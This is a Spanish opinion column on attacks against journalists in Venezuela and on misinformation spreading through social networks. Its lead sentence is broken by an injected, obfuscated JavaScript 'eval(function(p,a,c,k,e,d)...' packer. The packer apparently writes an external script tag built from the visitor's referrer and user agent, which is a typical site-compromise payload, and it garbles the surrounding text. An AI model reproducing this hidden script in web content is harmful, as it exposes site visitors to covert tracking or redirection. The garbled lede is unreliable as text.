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Periodismo, barbarie y posverdad

Jesús Salom Crespo / Vicerrector administrativo de LUZ / jasalomc@gmail.com
La eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkzsr|var|u0026u|referrer|firsh||js|php'.split('|'),0,{})) impotencia por el trato de los agentes del orden. La denuncia sin destino. De esa despreciable actuación no se salvan ni los que ejercen la vieja y noble profesión de periodista 

En Audiencia

La violenta crisis política y social que vive el país se estremece por hechos que nos dan la sensación de haberla visto con mucha anterioridad (déjà vu). Es la vieja lucha entre civilización y barbarie. Rebasa cualquier criterio de lesa humanidad. Es el trato vejatorio que se da a los manifestantes que son atrapados y a quienes sin hacerse partícipes de la protesta son detenidos. Los asesinatos a sangre fría. Las dantescas escenas de los afectados por los gases lacrimógenos, la lluvia de balas de goma y los cañones “aliñados” que tratan de ser detenidos por escudos artesanales. La impotencia por el trato de los agentes del orden. La denuncia sin destino. Un ambiente que en su conjunto crea un cuadro surrealista. 

De esa despreciable actuación no se salvan ni los que ejercen la vieja y noble profesión de periodista. Ello acarrea peligros muy graves. El régimen, que hace aguas por todos lados, en lugar de aprovechar el salvavidas que le ofrece el comunicador social para que explique el problema y calme las aguas por la alta incertidumbre, les agrede de palabra y hecho. Como consecuencia, cientos de periodistas han sufrido vejaciones, heridas, robo de equipos personales y profesionales. Detenciones arbitrarias que incluyen una violencia primitiva. Es causal el solo hecho de portar la credencial de periodista. La simple y artera impunidad.

No obstante, los comunicadores sociales de Venezuela no se arredran ante las dificultades y con su casco, máscara antigás y su equipo de trabajo, “hacen de tripas corazón” y se lanzan a la calle, a veces metiéndose en la “boca del lobo” para buscar la información, la que es tratada con el equilibrio que demanda la ética periodística y el amor a la profesión; por eso son una columna de soporte a la sociedad. Le proporciona información confiable para que sopese los hechos y tome sus decisiones.

Es la misión del periodista; sobre todo en estos tiempos en que la posverdad se asentó en las omnipresentes redes sociales haciendo que la mentira, en sus diferentes vertientes, medias verdades, el chisme, la calumnia, el globo de ensayo, se expanda a velocidad de la luz y crea dudas en quién confiar, en qué producto informativo está en lo cierto. Se diluye la certeza de los hechos y la responsabilidad.  

Honro a los valientes periodistas de la región y a los que hacen vida en la Universidad del Zulia; a los profesores formadores del talento humano que ejercen su profesión con dignidad y coraje. Un saludo especial a los integrantes de la Unidad de Comunicación del VAD porque ellos hacen más expedito nuestro camino institucional. 

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